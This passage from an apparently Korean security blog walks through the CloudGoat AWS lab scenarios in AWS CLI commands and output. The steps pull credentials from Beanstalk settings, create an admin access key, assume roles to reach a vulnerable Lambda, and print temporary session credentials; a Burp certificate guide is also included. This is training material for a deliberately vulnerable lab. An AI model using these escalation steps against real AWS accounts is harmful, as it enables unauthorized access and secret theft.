            "InstanceId": "i-0e4373c105fa428e3",
            "CurrentState": {
                "Code": 32,
                "Name": "shutting-down"
            },
            "PreviousState": {
                "Code": 16,
                "Name": "running"
            }
        }
    ]
}

 

 

 

  보안 개선 방안

1. IAM 권한은 최소로 운영할 것

 

2. EC2 환경 설정값에 기밀정보 저장 금지

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

이 포스팅은 BurpSuite를 사용하면서 암호화된 HTTPS 트래픽을 볼 수 없는 문제가 발생하여

이를 해결하는 과정의 내용을 담았습니다.

 

문제 해결 과정은 BurpSuite 홈페이지의 Installing Burp's CA certificate 글을 참고하였습니다.

 

 

  해결 방법

 

1. Burpsuite 실행 > Proxy > Intercept > Open browser 클릭

 

Burpsuite를 통해 크롬 브라우져를 열기 (자동으로 프록시 127.0.0.1:8080 설정 됨)

 

 

2. CA Certificate 인증서 다운로드 (cacert.der)

 

Burpsuite를 통해 실행한 브라우저에서 주소창에 http://burpsuite 입력 후 CA Certificate 클릭

 

 

3. 인증서 가져오기

 

1) 인증서 창 열기 : Burpsuite를 통해 실행한 브라우저에서 > 오른쪽 점 3개 > 설정 > 개인 정보 보호 및 보안 > 보안 > 인증서 관리 > Windows에서 가져온 인증서 관리

 

 

 

2) 인증서 가져오기 : 신뢰할 수 있는 루트 인증 기관 > 가져오기 > 다음 > 찾아보기 > 다운받은 인증서 cacert.der 선택 ("모든 파일"로 선택해야 보임) > 모든 인증서를 다음 저장소에 저장 (선택) : 신뢰할 수 있는 루트 인증 기관 > 마침

인증서 가져오기 창

 

 

인증서 가져온 화면

 

 

 

위 과정을 모두 완료하셨다면 burpsuite와 브라우져를 종료하셨다가

다시 실행하여 HTTPS 통신을 확인 해보시면 이제는 HTTPS 트래픽을 확인할 수 있습니다.

 

위와 동일하게 진행 했는데 혹시 회사 혹은 근무지에서 안된다면 보안 정책상 막혀있을 수도 있습니다.

저는 위와 동일한 과정을 진행했을 때 집 PC에서는 됐지만 회사에서는 보안 정책에 막혀 안됐습니다.

 


[참고자료]

https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate

 

Installing Burp's CA certificate

Note These steps are only necessary if you want to use an external browser for manual testing with Burp. If you prefer, you can just use Burp's browser, ...

portswigger.net

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

 

반응형
반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/beanstalk_secrets/README.md

 

cloudgoat/cloudgoat/scenarios/aws/beanstalk_secrets/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

  문제 설명

1. Your task is to enumerate the Elastic Beanstalk environment and discover misconfigured environment variables containing secondary credentials.  - Beanstalk 환경의 잘못 설정된 값을 찾아 두번째 credential을 발견합니다.
2. Using these secondary credentials, you can enumerate IAM permissions to eventually create an access key for an administrator user. - 두번째 credential을 이용하여 Admin user의 Access Key를 생성합니다.
3. With these admin privileges, you retrieve the final flag stored in AWS Secrets Manager. - Admin 권한을 이용하여 AWS Secrets Manager의 저장된 플래그 값을 찾습니다.

Cloudgoat beanstalk_secrets 문제

 

 

  문제 풀이

1. Beanstalk 분석

Beanstalk 환경 세팅 값을 확인해보면 환경 세팅값에 secondary user에 대한 Access Key와 Secret Key를 얻을 수 있습니다.

# ---------- 1. Beanstalk 분석 ----------

### Beanstalk 환경 조회 ###
aws elasticbeanstalk describe-environments \
	--environment-names cgid8qocb6tpgu-env \
	--profile beanstalk_secrets
{
    "Environments": [
        {
            "EnvironmentName": "cgid8qocb6tpgu-env",
            "EnvironmentId": "e-kmrdymu9vz",
            "ApplicationName": "cgid8qocb6tpgu-app",
            "SolutionStackName": "64bit Amazon Linux 2023 v4.5.0 running Python 3.13",
            "PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.13 running on 64bit Amazon Linux 2023/4.5.0",
            "EndpointURL": "awseb-e-k-AWSEBLoa-1GC4Y8O31859N-1472090591.us-east-1.elb.amazonaws.com",
            "CNAME": "cgid8qocb6tpgu-env.eba-xyd6ee3n.us-east-1.elasticbeanstalk.com",
            "DateCreated": "2025-04-14T23:44:00.375000+00:00",
            "DateUpdated": "2025-04-14T23:47:00.769000+00:00",
            "Status": "Ready",
            "AbortableOperationInProgress": false,
            "Health": "Grey",
            "HealthStatus": "No Data",
            "Tier": {
                "Name": "WebServer",
                "Type": "Standard",
                "Version": "1.0"
            },
            "EnvironmentLinks": [],
            "EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:739275444311:environment/cgid8qocb6tpgu-app/cgid8qocb6tpgu-env"
        }
    ]
}

### applications 확인 ###
aws elasticbeanstalk describe-applications \
	--profile beanstalk_secrets
{
    "Applications": [
        {
            "ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:739275444311:application/cgid8qocb6tpgu-app",
            "ApplicationName": "cgid8qocb6tpgu-app",
            "Description": "Elastic Beanstalk application for insecure secrets scenario",
            "DateCreated": "2025-04-14T23:43:39.981000+00:00",
            "DateUpdated": "2025-04-14T23:43:39.981000+00:00",
            "ConfigurationTemplates": [],
            "ResourceLifecycleConfig": {
                "VersionLifecycleConfig": {
                    "MaxCountRule": {
                        "Enabled": false,
                        "MaxCount": 200,
                        "DeleteSourceFromS3": false
                    },
                    "MaxAgeRule": {
                        "Enabled": false,
                        "MaxAgeInDays": 180,
                        "DeleteSourceFromS3": false
                    }
                }
            }
        }
    ]
}

### configuration 세팅 출력 ###
aws elasticbeanstalk describe-configuration-settings \
	--environment-name cgid8qocb6tpgu-env \
	--application-name cgid8qocb6tpgu-app \
	--profile beanstalk_secrets
{
    "ConfigurationSettings": [
        {
            "SolutionStackName": "64bit Amazon Linux 2023 v4.5.0 running Python 3.13",
            "PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.13 running on 64bit Amazon Linux 2023/4.5.0",
            "ApplicationName": "cgid8qocb6tpgu-app",
            "EnvironmentName": "cgid8qocb6tpgu-env",
            "DeploymentStatus": "deployed",
            "DateCreated": "2025-04-14T23:43:58+00:00",
            "DateUpdated": "2025-04-14T23:43:58+00:00",
            "OptionSettings": [
                {
                    "ResourceName": "AWSEBAutoScalingGroup",
                    "Namespace": "aws:autoscaling:asg",
                    "OptionName": "Availability Zones",
                    "Value": "Any"
                },
				
				---------- 중간 생략 ----------
				
                {
                    "Namespace": "aws:elasticbeanstalk:application:environment",
                    "OptionName": "PYTHONPATH",
                    "Value": "/var/app/venv/staging-LQM1lest/bin"
                },
                {
                    "Namespace": "aws:elasticbeanstalk:application:environment",
                    "OptionName": "SECONDARY_ACCESS_KEY",
                    "Value": "<SECONDARY_ACCESS_KEY>"
                },
                {
                    "Namespace": "aws:elasticbeanstalk:application:environment",
                    "OptionName": "SECONDARY_SECRET_KEY",
                    "Value": "<SECONDARY_SECRET_KEY>"
                }
            ]
        }
    ]
}

 

 

 

2. Secondary User 권한 탈취

Secondary User 권한을 이용하여 Admin 계정의 새로운 Access Key 생성

# ---------- 2. Secondary User 권한 이용 ----------

### secondary_user 프로파일 생성 ###
aws configure --profile secondary_user

###  계정 리스트 확인 ###
aws iam list-users \
	--profile secondary_user
{
	"Path": "/",
	"UserName": "cgid8qocb6tpgu_admin_user",
	"UserId": "AIDA2YICACBLQMUTAH7PG",
	"Arn": "arn:aws:iam::739275444311:user/cgid8qocb6tpgu_admin_user",
	"CreateDate": "2025-04-14T23:43:39+00:00"
},
{
	"Path": "/",
	"UserName": "cgid8qocb6tpgu_low_priv_user",
	"UserId": "AIDA2YICACBLQKPVTUJSM",
	"Arn": "arn:aws:iam::739275444311:user/cgid8qocb6tpgu_low_priv_user",
	"CreateDate": "2025-04-14T23:43:39+00:00"
},
{
	"Path": "/",
	"UserName": "cgid8qocb6tpgu_secondary_user",
	"UserId": "AIDA2YICACBLUFUYYWA7U",
	"Arn": "arn:aws:iam::739275444311:user/cgid8qocb6tpgu_secondary_user",
	"CreateDate": "2025-04-14T23:43:39+00:00"
}

### <user> 에게 적용된 Managed 정책 확인 ###
aws iam list-attached-user-policies \
	--user-name cgid8qocb6tpgu_secondary_user \
	--profile secondary_user
{
    "AttachedPolicies": [
        {
            "PolicyName": "cgid8qocb6tpgu_secondary_policy",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cgid8qocb6tpgu_secondary_policy"
        }
    ]
}

### Managed 정책 확인 ###
aws iam get-policy-version \
	--policy-arn arn:aws:iam::739275444311:policy/cgid8qocb6tpgu_secondary_policy \
	--version-id v1 \
	--profile secondary_user
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:CreateAccessKey"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListRoles",
                        "iam:GetRole",
                        "iam:ListPolicies",
                        "iam:GetPolicy",
                        "iam:ListPolicyVersions",
                        "iam:GetPolicyVersion",
                        "iam:ListUsers",
                        "iam:GetUser",
                        "iam:ListGroups",
                        "iam:GetGroup",
                        "iam:ListAttachedUserPolicies",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-14T23:43:39+00:00"
    }
}


### Access Key 생성 ###
aws iam create-access-key \
    --user-name cgid8qocb6tpgu_admin_user \
	--profile secondary_user
{
    "AccessKey": {
        "UserName": "cgid8qocb6tpgu_admin_user",
        "AccessKeyId": "<AccessKeyId>",
        "Status": "Active",
        "SecretAccessKey": "<SecretAccessKey>",
        "CreateDate": "2025-04-15T02:09:08+00:00"
    }
}

 

 

 

3. Admin User 권한 탈취

Admin User 권한을 이용하여 Secret Manager 서비스에 저장되어 있는 Flag값 확인

 

# ---------- 3. Secondary User 권한 이용 ----------

### Admin 계정 프로파일 생성 ###
aws configure --profile admin_user

###  Secret 리스트 조회 ###
aws secretsmanager list-secrets \
	--profile admin_user
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:739275444311:secret:cgid8qocb6tpgu_final_flag-P2uAGc",
            "Name": "cgid8qocb6tpgu_final_flag",
            "LastChangedDate": "2025-04-15T08:43:41.415000+09:00",
            "LastAccessedDate": "2025-04-14T09:00:00+09:00",
            "Tags": [
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                },
                {
                    "Key": "Scenario",
                    "Value": "beanstalk_secrets"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20250414234341025200000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-04-15T08:43:39.546000+09:00"
        }
    ]
}

### Secret 확인 ###
aws secretsmanager get-secret-value \
    --secret-id cgid8qocb6tpgu_final_flag \
	--profile admin_user
{
    "ARN": "arn:aws:secretsmanager:us-east-1:739275444311:secret:cgid8qocb6tpgu_final_flag-P2uAGc",
    "Name": "cgid8qocb6tpgu_final_flag",
    "VersionId": "terraform-20250414234341025200000002",
    "SecretString": "FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-04-15T08:43:41.410000+09:00"
}

 

 

Admin User의 권한을 통해 Secret Manger의 Secret 값을 확인해보면 아래 이미지와 같이 Flag 값을 확인할 수 있습니다.

Secret Manager - Flag 값 확인

 

 

 

  보안 개선 방안

1. IAM 권한은 최소로 운영할 것

 

2. Beanstalk 환경 설정값에 기밀정보 저장 금지

 

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

AWS Assume Role 원리

 

  역할 전환(Assume Role) 조건

 

역할 전환(AssumeRole)은 두 가지 조건이 동시에 충족해야 합니다.

1. 사용자의 정책(User Policy) : 내가 특정 역할로 전환할 수 있는 권한이 있어야 함

2. 역할 신뢰 정책(Trust Policy) : 그 역할이 나를 신뢰하고 있어야 함

 

 

# 사용자 정책 (User Policy) - 739275444311 계정에 속한 cg-bilbo 사용자
{
    "UserName": "cg-bilbo",
    "PolicyName": "cg-bilbo-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
                "Sid": ""
            }
        ]
    }
}


# 역할 신뢰 정책 (Trust Policy) - 940877411605 계정에 속한 cg-lambda-invoker 역할
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambda-invoker",
        "Arn": "arn:aws:iam::940877411605:role/cg-lambda-invoker",
        "CreateDate": "2025-04-11T00:42:13Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/cg-bilbo"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        }
    }
}

 

 

 

 

 

  예외 사항

역할 전환에 딱 한가지 예외가 있습니다.

아래와 같이 역할과 사용자가 같은 Account에 속해 있는 경우 Trust Policy가 명시적으로 사용자를 신뢰하면

사용자는 sts:AssumeRole 권한이 없어도 역할 전환을 할 수 있습니다.

 

[역할&사용자가 - 같은 계정( 739275444311 )에 속한 경우]

역할 arn : arn:aws:iam::739275444311:role/cg-lambda-invoker

사용자 arn : arn:aws:iam::739275444311:user/cg-bilbo

 

  예시 - 아래의 조건의 경우에 사용자 정책(User Policy)에 Assume Role 권한이 없어도 역할 전환은 성립됨 (O)

### cg-lambda-invoker 역할은 cg-bilbo 사용자를 명시적(Principal)으로 신뢰하고 있음
{
	"RoleName": "cg-lambda-invoker"
		"Version": "2012-10-17",
		"Statement": [
			{
				"Sid": "",
				"Effect": "Allow",
				"Principal": {
					"AWS": "arn:aws:iam::739275444311:user/cg-bilbo"
				},
				"Action": "sts:AssumeRole"
			}
		]
	}
}

### cg-bilbo 사용자에게 적용된 User Policy에는 sts:AssumeRole에 대한 권한이 없음

{
    "UserName": "cg-bilbo",
    "PolicyName": "cg-bilbo-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": ""
            }
        ]
    }
}

 

 

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/vulnerable_lambda/README.md

 

cloudgoat/cloudgoat/scenarios/aws/vulnerable_lambda/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

1) you start as the 'bilbo' user
2) You will assume a role with more privileges
3) discover a lambda function that applies policies to users
4) and exploit a vulnerability in the function to escalate the privileges of the bilbo user in order to search for secrets.

 

문제설명 페이지

 

 

  문제 풀이

0. 환경 구성

#---------- 0. 환경설정 ----------
cloudgoat create vulnerable_lambda --profile cloudgoat
cat start.txt
cloudgoat_output_aws_account_id = 739275444311
cloudgoat_output_bilbo_access_key_id = <bilbo_access_key_id>
cloudgoat_output_bilbo_secret_key = <bilbo_secret_key>
profile = cloudgoat
scenario_cg_id = cgid2bx1fsjdcs

### 프로파일 생성 ###
aws configure --profile vulnerable_lambda

 

 

 

1. 현재 소유 권한 분석

현재 가지고 있는 소유 권한을 분석해보면 아래와 같습니다.

이를 통해 sts:AssumeRole을 이용하여 역할 전환 할 수 있음을 파악할 수 있습니다.

# ---------- 1. 현재 소유 권한 분석 ----------
###  계정 리스트 확인 ###
aws iam list-users --profile vulnerable_lambda | grep cgid2bx1fsjdcs
{
	"Path": "/",
	"UserName": "cg-bilbo-cgid2bx1fsjdcs",
	"UserId": "AIDA2YICACBL6J4VJJ5WY",
	"Arn": "arn:aws:iam::739275444311:user/cg-bilbo-cgid2bx1fsjdcs",
	"CreateDate": "2025-04-11T00:41:57Z"
}

### 그룹 확인 ###
aws iam list-groups --profile vulnerable_lambda | grep cgid2bx1fsjdcs

###  정책 리스트 확인 ###
aws iam list-policies --profile vulnerable_lambda | grep cgid2bx1fsjdcs
aws iam list-policies --profile vulnerable_lambda | grep bilbo
aws iam list-policies --profile vulnerable_lambda | grep lambda

### <user> 에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
    --user-name cg-bilbo-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "AttachedPolicies": []
}

### <user> 에게 적용된 Inline 정책 ###
aws iam list-user-policies \
    --user-name cg-bilbo-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "PolicyNames": [
        "cg-bilbo-cgid2bx1fsjdcs-standard-user-assumer"
    ]
}

### <user> 에게 적용된 Inline 정책 (확인) ###
aws iam get-user-policy \
    --policy-name cg-bilbo-cgid2bx1fsjdcs-standard-user-assumer \
    --user-name cg-bilbo-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "UserName": "cg-bilbo-cgid2bx1fsjdcs",
    "PolicyName": "cg-bilbo-cgid2bx1fsjdcs-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
                "Sid": ""
            },
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": ""
            }
        ]
    }
}

### 역할 리스트 ###
aws iam list-roles \
    --profile vulnerable_lambda | grep cgid2bx1fsjdcs
# 출력결과
"RoleName": "cg-lambda-invoker-cgid2bx1fsjdcs",
"Arn": "arn:aws:iam::739275444311:role/cg-lambda-invoker-cgid2bx1fsjdcs",
"RoleName": "cgid2bx1fsjdcs-policy_applier_lambda1",
"Arn": "arn:aws:iam::739275444311:role/cgid2bx1fsjdcs-policy_applier_lambda1",

### 역할1 확인 ###
aws iam get-role \
    --role-name cg-lambda-invoker-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambda-invoker-cgid2bx1fsjdcs",
        "RoleId": "AROA2YICACBLWL3YA3LZU",
        "Arn": "arn:aws:iam::739275444311:role/cg-lambda-invoker-cgid2bx1fsjdcs",
        "CreateDate": "2025-04-11T00:42:13Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/cg-bilbo-cgid2bx1fsjdcs"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-cgid2bx1fsjdcs"
            },
            {
                "Key": "Scenario",
                "Value": "vulnerable-lambda"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### 역할1에 붙은 Managed 정책 확인 ###
aws iam list-attached-role-policies \
    --role-name cg-lambda-invoker-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "AttachedPolicies": []
}

### 역할1에 붙은 inline 정책 (cg-lambda-invoker-cgid2bx1fsjdcs) ###
aws iam list-role-policies \
--role-name cg-lambda-invoker-cgid2bx1fsjdcs \
--profile vulnerable_lambda
{
    "PolicyNames": [
        "lambda-invoker"
    ]
}

### 역할1 정책 확인 - lambda-invoker ###
aws iam get-role-policy \
    --role-name cg-lambda-invoker-cgid2bx1fsjdcs \
    --policy-name lambda-invoker \
    --profile vulnerable_lambda
{
    "RoleName": "cg-lambda-invoker-cgid2bx1fsjdcs",
    "PolicyName": "lambda-invoker",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "lambda:ListFunctionEventInvokeConfigs",
                    "lambda:InvokeFunction",
                    "lambda:ListTags",
                    "lambda:GetFunction",
                    "lambda:GetPolicy"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:lambda:us-east-1:739275444311:function:cgid2bx1fsjdcs-policy_applier_lambda1"
            },
            {
                "Action": [
                    "lambda:ListFunctions",
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*"
            }
        ]
    }
}


### 역할2 확인 ###
aws iam get-role \
    --role-name cgid2bx1fsjdcs-policy_applier_lambda1 \
    --profile vulnerable_lambda
{
    "Role": {
        "Path": "/",
        "RoleName": "cgid2bx1fsjdcs-policy_applier_lambda1",
        "RoleId": "AROA2YICACBLYTYJDP54S",
        "Arn": "arn:aws:iam::739275444311:role/cgid2bx1fsjdcs-policy_applier_lambda1",
        "CreateDate": "2025-04-11T00:41:58Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-cgid2bx1fsjdcs"
            },
            {
                "Key": "Scenario",
                "Value": "vulnerable-lambda"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### 역할2에 붙은 Managed 정책 확인 ###
aws iam list-attached-role-policies \
    --role-name cgid2bx1fsjdcs-policy_applier_lambda1 \
    --profile vulnerable_lambda
{
    "AttachedPolicies": []
}


### 역할2에 붙은 inline 정책 (cgid2bx1fsjdcs-policy_applier_lambda1) ###
aws iam list-role-policies \
--role-name cgid2bx1fsjdcs-policy_applier_lambda1 \
--profile vulnerable_lambda
{
    "PolicyNames": [
        "policy_applier_lambda1"
    ]
}

### 역할2 정책 확인 - policy_applier_lambda1 ###
aws iam get-role-policy \
    --role-name cgid2bx1fsjdcs-policy_applier_lambda1 \
    --policy-name policy_applier_lambda1 \
    --profile vulnerable_lambda
{
    "RoleName": "cgid2bx1fsjdcs-policy_applier_lambda1",
    "PolicyName": "policy_applier_lambda1",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "iam:AttachUserPolicy",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::739275444311:user/cg-bilbo-cgid2bx1fsjdcs"
            },
            {
                "Action": [
                    "logs:CreateLogStream",
                    "logs:PutLogEvents"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:logs:us-east-1:739275444311:log-group:/aws/lambda/cgid2bx1fsjdcs-policy_applier_lambda1:*"
            }
        ]
    }
}

### 940877411605 계정 lambda-invoker 역할 전환 ###
aws sts assume-role \
    --role-arn arn:aws:iam::940877411605:role/cg-lambda-invoker-cgid2bx1fsjdcs \
    --role-session-name Test1 \
    --profile vulnerable_lambda

# 출력결과
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::739275444311:user/cg-bilbo-cgid2bx1fsjdcs is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::940877411605:role/cg-lambda-invoker-cgid2bx1fsjdcs


### 739275444311 계정 lambda-invoker 역할 전환 ###
aws sts assume-role \
    --role-arn arn:aws:iam::739275444311:role/cg-lambda-invoker-cgid2bx1fsjdcs \
    --role-session-name Test2 \
    --profile vulnerable_lambda
{
    "Credentials": {
        "AccessKeyId": "ASIA2YICACBL7GNYOXPD",
        "SecretAccessKey": "qZBOeg8tWlH30LHDm5UqNMLhEfvmzSaB8uQt+ZLm",
        "SessionToken": "IQoJb3JpZ2luX2VjEIb//////////wEaCXVzLWVhc3QtMSJGMEQCIHPto/rksY1wZFBikuujeYQpokzt7u9s7KCxyb/2byO4AiAtQoKRL/wCRVOOhNlBl7XPOHeGfBTI3sRfycYm0Cl92yqbAgj///////////8BEAAaDDczOTI3NTQ0NDMxMSIMskKlt7o5PVlnu0IiKu8BtwohQouZd/vQlBhf/Z+nUby15JnYgxXKWmhVL1QicDRJpkLtgkntAqmmLQuTyLRb/FHXp3BcwMRnuSmxCqxFVvmG6PI6QARwFLOvbGGxfGM8gFbzM5AiIQof4FmE6tpt5NUUHtJNK0sa1n4ow1iNoJiFtCYCLkAByWtk2ufBT251mepdTVDb6Xn5HqNn/M7EWKXxYSYfxL7Oi1TJgz+G9qDzOhg/lXWiwsiYMzaw8EWESURtWbnrTA1JjoGDbTVK7B35hjOnj1JgLrjEUkZ5HE40Ol2RH4HHyuhRYdD+RVHVWDG+R8RYyEUF1acc/yUwsLfyvwY6ngHLd96AOBzGFbMFAu020BVMSlJnhq8f4Dg/RQWj4HF3nfuCr+F6nZkwdeu0qvmPj8zC+74Gb+jVomxGo/WusMR4JOIQZLSNGBcxsTLLhEwgV3GZWUeUpfaLubPH8K2GjFr97nbw8Z0r5nkuzuz0VWDk/Og2bh+jQI2JxdSQ0Hbb3Jj0h5ERtaa4nY5cF4Cl4D9pE7QfsZgq5qdW2JyUTg==",
        "Expiration": "2025-04-14T06:22:56+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2YICACBL6YEKWBZRX:Test2",
        "Arn": "arn:aws:sts::739275444311:assumed-role/cg-lambda-invoker-cgid2bx1fsjdcs/Test2"
    }
}

 

 

 

2. 역할 전환 후 Lambda 접근

역할 전환 이후 얻은 권한으로 Lambda에 접근합니다.

### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile <profile_name> aws_access_key_id <aws_access_key_id>
aws configure set --profile <profile_name> aws_secret_access_key <aws_secret_access_key>
aws configure set --profile <profile_name> aws_session_token  <aws_session_token>

### lambda 함수 확인 ###
aws lambda list-functions \
	--profile lambda-invoker
{
    "Functions": [
        {
            "FunctionName": "cgid2bx1fsjdcs-policy_applier_lambda1",
            "FunctionArn": "arn:aws:lambda:us-east-1:739275444311:function:cgid2bx1fsjdcs-policy_applier_lambda1",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::739275444311:role/cgid2bx1fsjdcs-policy_applier_lambda1",
            "Handler": "main.handler",
            "CodeSize": 1515773,
            "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2025-04-12T01:50:08.735+0000",
            "CodeSha256": "WrQlXmLzMDqjmFLHc5bkjmjlARW/PgzS7RGeW85WbDI=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "eb170973-7b56-48e3-b98b-1025686048aa",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/cgid2bx1fsjdcs-policy_applier_lambda1"
            }
        }
    ]
}


### 함수 사용법을 위해 Lambda 코드 확인###
aws lambda get-function \
    --function-name  cgid2bx1fsjdcs-policy_applier_lambda1 \
	--profile lambda-invoker
{
    "Configuration": {
        "FunctionName": "cgid2bx1fsjdcs-policy_applier_lambda1",
        "FunctionArn": "arn:aws:lambda:us-east-1:739275444311:function:cgid2bx1fsjdcs-policy_applier_lambda1",
        "Runtime": "python3.9",
        "Role": "arn:aws:iam::739275444311:role/cgid2bx1fsjdcs-policy_applier_lambda1",
        "Handler": "main.handler",
        "CodeSize": 1515773,
        "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2025-04-12T01:50:08.735+0000",
        "CodeSha256": "WrQlXmLzMDqjmFLHc5bkjmjlARW/PgzS7RGeW85WbDI=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "eb170973-7b56-48e3-b98b-1025686048aa",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:d6dc717114b06da7d4b5a2df328222709ec4fad2853004fac301b8b63a65c084"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/cgid2bx1fsjdcs-policy_applier_lambda1"
        }
    },
    "Code": {
        "RepositoryType": "S3",
